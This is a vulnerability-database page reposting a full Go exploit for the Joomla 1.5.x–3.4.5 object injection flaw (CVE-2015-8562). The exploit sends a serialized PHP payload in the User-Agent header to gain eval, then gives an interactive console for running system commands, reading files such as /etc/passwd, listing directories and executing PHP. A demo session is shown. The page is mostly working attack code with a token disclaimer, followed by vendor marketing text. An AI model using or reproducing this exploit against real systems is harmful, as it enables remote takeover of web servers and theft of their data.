Lucene search
K

Joomla 3.4.5 Object Injection

🗓️ 31 Dec 2015 00:00:00Reported by Khashayar FereidaniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 83 Views

Joomla 3.4.5 Object Injection exploit allows remote command execution and system file acces

Related
Code
`package main  
  
/*  
**************************************************************************  
* Exploit Title: Joomla 1.5.x to 3.4.5 Object Injection Exploit  
* Exploit Author: Khashayar Fereidani ( http://fereidani.com )  
* Version: 1.5.x to 3.4.5  
* CVE : CVE-2015-8562  
**************************************************************************  
* THIS EXPLOIT PUBLISHED ONLY FOR EDUCATIONAL PROPOSES ANY ILLEGAL USAGE  
* IS ON YOUR OWN RESPONSIBILITY  
**************************************************************************  
* How to run : (you need golang compiler from golang.org)  
* go run exploit.go http://target/path  
* or  
* go build exploit.go  
* ./exploit http://target/path  
**************************************************************************  
* DEMO :  
  
$ ./exploit 192.168.1.113/joomla  
###############################################  
# Joomla Remote Command Execution 0day Exploit  
# Exploited by: Khashayar Fereidani  
# http://fereidani.com  
# Vulnerable Versions: 1.5.x to 3.4.5  
###############################################  
  
Attacking to http://FILTERED.TLD/joomla/  
Target is vulnerable !  
# Command Line Documentation :  
read FILEPATH read file from FILEPATH  
dir DIRPATH list directory in DIRPATH  
exec COMMAND execute system command  
eval phpcode evaluate PHP Code  
help display this help  
exit close exploit console  
  
[*] Examples:  
read /etc/passwd  
dir /etc/  
exec ls -lah  
eval include('/etc/passwd')  
  
  
root@joomla:$ exec uname -a  
Linux vm2.local 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux  
root@joomla:$  
  
*/  
  
import (  
"fmt"  
"net/http"  
"regexp"  
"os"  
"io/ioutil"  
"bytes"  
"net/http/cookiejar"  
"net/url"  
"bufio"  
"strings"  
)  
  
  
var target string;  
  
  
var helpString=`# Command Line Documentation :  
read FILEPATH read file from FILEPATH  
dir DIRPATH list directory in DIRPATH  
exec COMMAND execute system command  
eval phpcode evaluate PHP Code  
help display this help  
exit close exploit console  
  
[*] Examples:  
read /etc/passwd  
dir /etc/  
exec ls -lah  
eval include('/etc/passwd')  
  
`  
  
var validHttpUrl=regexp.MustCompile("^http[s]{0,1}://")  
  
var resultRegex=regexp.MustCompile("(?sm)iMH3r3=(.*)")  
  
var cmdRegex=regexp.MustCompile("(\\w+)\\s(.+)")  
  
var newLine=regexp.MustCompile("[\\n\\r]")  
  
var client *http.Client  
  
func newRequest(command string) *http.Request{  
values:=url.Values{}  
values.Set("1","echo('iMH3r3=');"+command+";")  
  
req,err:=http.NewRequest("POST",target,bytes.NewBufferString(values.Encode()))  
  
if err!=nil{  
panic(err)  
}  
  
req.Header.Set("User-Agent",`123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:43:"eval($_POST[1]);JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}`+"\xf0\xfd\xfd\xfd")  
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")  
return req  
}  
  
  
func escape(str string) string{  
return strings.Replace(str,"'","\\'",-1)  
}  
  
  
func runCommand(command string){  
res,err:=client.Do(newRequest(command))  
  
if err!=nil{  
fmt.Println(err.Error())  
}else{  
defer res.Body.Close()  
resBytes,err:=ioutil.ReadAll(res.Body)  
str:=string(resBytes)  
  
if err!=nil{  
fmt.Println(err)  
}  
match:=resultRegex.FindStringSubmatch(str)  
if len(match)>0{  
fmt.Print(match[0][7:])  
}  
}  
  
}  
  
  
func confirm() bool{  
res,err:=client.Do(newRequest(""))  
  
if err!=nil{  
fmt.Println(err)  
return false  
}else{  
if res.StatusCode==500{  
fmt.Println("Patched PHP Version :( !")  
return false  
}  
defer res.Body.Close()  
resBytes,err:=ioutil.ReadAll(res.Body)  
str:=string(resBytes)  
  
if err!=nil{  
fmt.Println(err)  
}  
match:=resultRegex.FindStringSubmatch(str)  
if len(match)>0{  
return true  
}else{  
return false  
}  
}  
}  
  
func main(){  
fmt.Print(`###############################################  
# Joomla Remote Command Execution 0day Exploit  
# Exploited by: Khashayar Fereidani  
# http://fereidani.com  
# Vulnerable Versions: 1.5.0 to 3.4.5  
###############################################  
`)  
options := cookiejar.Options{}  
  
jar, err := cookiejar.New(&options)  
if err != nil {  
panic(err)  
}  
  
client = &http.Client{  
Jar:jar,  
}  
  
  
  
if len(os.Args)<2{  
fmt.Println("Insufficient input , please run ./exploit http://targeturl/path/")  
return  
}  
  
target=os.Args[1]  
if(!validHttpUrl.MatchString(target)){  
target="http://"+target  
}  
  
if string(target[len(target)-1])!="/"{  
target+="/"  
}  
  
fmt.Println("Attacking to ",target)  
  
  
res,err:=client.Do(newRequest(""))  
if err!=nil{  
fmt.Println("Request Error:",err)  
return  
}  
ioutil.ReadAll(res.Body)  
res.Body.Close()  
  
if confirm(){  
fmt.Println("Target is vulnerable !")  
//runCommand("system('ls -la')")  
stdinreader := bufio.NewReader(os.Stdin)  
  
fmt.Println(helpString)  
for {  
var line string  
fmt.Print("root@joomla:$ ")  
line,_=stdinreader.ReadString('\n')  
line=newLine.ReplaceAllString(line,"")  
match:=cmdRegex.FindStringSubmatch(line)  
if len(match)<3 {  
if (line=="exit"){  
return  
}  
  
if !(line=="help"){  
fmt.Println("Wrong input !")  
}  
  
fmt.Println(helpString)  
}else{  
cmd:=match[1]  
input:=escape(match[2])  
switch cmd {  
case "exec":  
runCommand("system('"+input+"')")  
case "read":  
runCommand("readfile('"+input+"')")  
case "dir":  
runCommand("$a=scandir('"+input+"');foreach($a as $v){echo $v.\"\\n\";}")  
case "eval":  
runCommand(match[2])  
}  
}  
}  
}else{  
fmt.Println("Target is not vulnerable!")  
}  
  
  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation